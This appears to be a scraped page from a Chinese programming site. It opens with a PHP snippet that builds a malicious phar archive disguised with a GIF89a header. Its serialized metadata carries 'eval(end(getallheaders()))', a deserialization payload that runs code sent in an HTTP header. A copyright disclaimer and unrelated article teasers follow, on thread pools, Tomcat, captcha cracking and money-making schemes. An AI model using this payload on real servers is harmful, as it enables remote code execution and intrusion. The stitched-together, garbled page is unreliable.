$a->cmd='eval(end(getallheaders()));__helt_compiler();';
$phar=new Phar('1.phar');
$phar->startBuffering(); 
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER;?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','111');
$phar->stopBuffering();




本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1669435.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

EasyImage2.0 图床源码

EasyImage2.0 是一个简单图床的源码&#xff0c;它支持以下功能&#xff1a; 1. API接口 2. 登录后才能上传图片 3. 设置图片质量 4. 压缩图片大小 5. 添加文字或图片水印 6. 设定图片的宽度和高度 7. 将上传的图片转换为指定的格式 8. 限制上传图片的最小宽度和高度 …

《软件方法(下)》8.3.3 泛化的一些重点讨论(202405更新)

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集 8.3 建模步骤C-2 识别类的关系 8.3.3 泛化的一些重点讨论 8.3.3.1 子集的不相交和完整 泛化是集合关系&#xff0c;在建模泛化关系时&#xff0c;我们对泛化关系中的子类&#xff0…

JavaEE初阶-多线程5

文章目录 一、线程池1.1 线程池相关概念1.2 线程池标准类1.3 线程池工厂类1.4 实现自己的线程池 二、定时器2.1 java标准库中的定时器使用2.2 实现一个自己的定时器2.2.1 定义任务类2.2.2 定义定时器 一、线程池 1.1 线程池相关概念 池这个概念在计算机中比较常见&#xff0c…

极验4图标方向点选验证码

验证码如下如所示&#xff0c;提供了三个方向剪头。根据剪头顺序&#xff0c;点击大图中图标的方向完成验证。 经过我们的努力&#xff0c;正确率达到了90%左右。下面提供了验证码识别的代码。 import base64 import requests import datetime from io import BytesIO from PI…

Linux-软件安装--tomcat的安装

tomcat的安装 1、下载tomcat安装包2.移动到自己想要解压的目录3、解压文件夹4、启动tomcat5、查看tomcat进程6、查看日志7、通过浏览器访问成功8、停止tomecat服务8.1运行tomcat的bin目录中提供的停止服务的脚本文件shutdcwn.sh8.2结束tomcat进程1、下载tomcat安装包 本篇文章…

蓝海创业商机小吃配方项目,日入200+ ,小白可上手,图文创作转现快

小吃技术销售&#xff0c;一单价格从几元到几百元不等&#xff0c;行业竞争相对较小&#xff0c;是一个相对冷门的领域。只需一部手机&#xff0c;就可以发布图文并茂的内容&#xff0c;配上背景音乐&#xff08;BGM&#xff09;&#xff0c;即使是对视频剪辑不熟悉的新手&…

【WEEK11】 【DAY6】Employee Management System Part 7【English Version】

2024.5.11 Saturday Continued from 【WEEK11】 【DAY5】Employee Management System Part 6【English Version】 Contents 10.8. Delete and 404 Handling10.8.1. Modify list.html10.8.2. Modify EmployeeController.java10.8.3. Restart10.8.4. 404 Page Handling10.8.4.1. …

如何取消格式化SD卡并恢复丢失的数据?

在相机中格式化SD卡后&#xff0c;您将丢失卡上的所有文件。如果有恢复形成操作的选项&#xff0c;您可以轻松取回文件。然而&#xff0c;相机或任何其他设备中没有这样的选项。它无法直接取消格式化相机SD卡&#xff0c;但您仍然可以从格式化的SD卡中恢复文件。 为什么格式化后…

excel常见图表大全

Excel图表是一种以图形形式呈现数据的工具&#xff0c;它将数字和统计信息转化为直观的视觉元素&#xff0c;如线图、柱状图、饼图等。这些图表可以帮助人们更容易地理解数据的趋势、关系和模式。 使用场景 Excel图表广泛应用于各个领域&#xff0c;包括&#xff1a; 商务分…

服装定制|基于SSM+vue的服装定制系统的设计与实现(源码+数据库+文档)

服装定制系统 目录 基于SSM&#xff0b;vue的服装定制系统的设计与实现 一、前言 二、系统设计 三、系统功能设计 1系统功能模块 2管理员功能模块 3用户后台管理模块 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xf…

基于Springboot的村庄果园预售系统(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的村庄果园预售系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构…

2024情感聊天赛道,al工具制做,视频一分钟一条,日入500+

在这个领域&#xff0c;我们可以利用AI技术快速制作情感文章和闲聊内容。基本原理是结合热门创意文案&#xff0c;通过AI生成情感聊天短视频&#xff0c;然后在各大网站进行独家代理&#xff0c;这个领域的竞争相对较小&#xff0c;可以说是一片蓝海。 项 目 地 址 &#xff…

【目标检测论文解读复现NO.38】基于改进YOLOv8模型的轻量化板栗果实识别方法

前言 此前出了目标改进算法专栏&#xff0c;但是对于应用于什么场景&#xff0c;需要什么改进方法对应与自己的应用场景有效果&#xff0c;并且多少改进点能发什么水平的文章&#xff0c;为解决大家的困惑&#xff0c;此系列文章旨在给大家解读最新目标检测算法论文&#xff0c…

【机器学习】LoFTR:革命性图像特征批评技术等领跑者

LoFTR&#xff1a;革命性图像特征匹配技术的领跑者 一、引言二、LoFTR技术的创新之处三、LoFTR技术的实现原理四、LoFTR技术的代码实例五、结语 一、引言 在3D计算机视觉领域&#xff0c;图像特征匹配技术一直是研究的热点和难点。随着技术的不断发展&#xff0c;传统的特征检…

电子学会C/C++编程等级考试2024年03月(八级)真题解析

C/C编程&#xff08;1~8级&#xff09;全部真题・点这里 第1题&#xff1a;道路 N个以 1 … N 标号的城市通过单向的道路相连:。每条道路包含两个参数&#xff1a;道路的长度和需要为该路付的通行费&#xff08;以金币的数目来表示&#xff09; Bob and Alice 过去住在城市 1.在…

ACE框架学习4

目录 ACE Proactor框架 异步I/O工厂类 ACE_Handler类 前摄式Acceptor-Connector类 ACE_Proactor类 ACE Streams框架 ACE_Model类 ACE_Streams类 ACE Proactor框架 ACE Proactor框架实现了proactor模式&#xff0c;也就是异步网络模式&#xff0c;允许事件驱动…

并行执行线程资源管理方式——《OceanBase 并行执行》系列 3

在某些特定场景下&#xff0c;由于需要等待线程资源&#xff0c;并行查询会遇到排队等待的情况。本篇博客将介绍如何管理并行执行线程资源&#xff0c;以解决这种问题。 《OceanBase并行执行》系列的内容分为七篇博客&#xff0c;本篇是其中的第三篇。前2篇如下&#xff1a; 一…

容器组件:Column ,Row(HarmonyOS学习第四课【4.1】)

容器组件-Column Column 容器组件是沿垂直方向布局的容器。该组件从APIVersion7开始支持从API version 9开始&#xff0c;该接口支持在ArkTs,卡片中使用。其可以包含子组件 Column(value?: {space?: string | number}) 参数 space 参数类型string | number 是否必填&am…

锁策略详解:互斥锁、读写锁、乐观锁与悲观锁、轻量级锁与重量级锁、自旋锁、偏向锁、可重入锁与不可重入锁、公平锁与非公平锁

一.锁策略 锁策略指的是在多线程编程中用于管理共享资源访问的规则和技术。它们确保在任何给定时间只有一个线程可以访问共享资源&#xff0c;以防止竞态条件和数据不一致性问题。常见的锁策略包括&#xff1a; 互斥锁&#xff08;Mutex&#xff09;&#xff1a;最常见的锁类型…

WPS表格:对比少于1万的两列数据

当我们需要对于A、B两列乱序的数据&#xff0c;找出A列中某一项B列有没有&#xff0c;或者找出B列中的某一项A列有没有&#xff0c;都可以先将这两列数据放入WPS表格中&#xff1a; 1.选中C列的第一行的单元格&#xff0c;在函数区输入函数 如果我们以A为基准&#xff0c;找A中…